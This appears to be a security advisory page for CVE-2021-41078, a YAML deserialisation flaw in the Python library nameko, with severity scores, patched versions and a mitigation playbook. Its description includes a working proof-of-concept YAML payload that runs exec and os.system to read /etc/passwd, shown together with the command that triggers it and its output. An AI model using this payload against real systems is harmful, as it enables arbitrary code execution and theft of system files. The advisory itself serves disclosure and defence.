CVE-2021-41078 — nameko
HIGHCVE-2021-41078 is a high-severity (CVSS 7.8) Deserialization of Untrusted Data vulnerability in nameko. 1 public exploit reference exists, so weaponization risk is real. A fix is available for nameko — see the affected versions and patch details below.
Nameko Arbitrary code execution due to YAML deserialization
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-41078 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
nameko🐍namekoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:
# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
...
Patches
The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.
Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.
Workarounds
The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | nameko | all versions | 2.14.0pip install --upgrade 'nameko==2.14.0' |
| 🐍PyPI | nameko | ≥ 3.0.0rc0&&< 3.0.0rc10 | 3.0.0rc10pip install --upgrade 'nameko==3.0.0rc10' |
Affected Products
namekonamekoResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nameko, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update nameko to 2.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-41078 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2021-41078 in your dependencies?
Find it across PyPI, including transitive dependencies.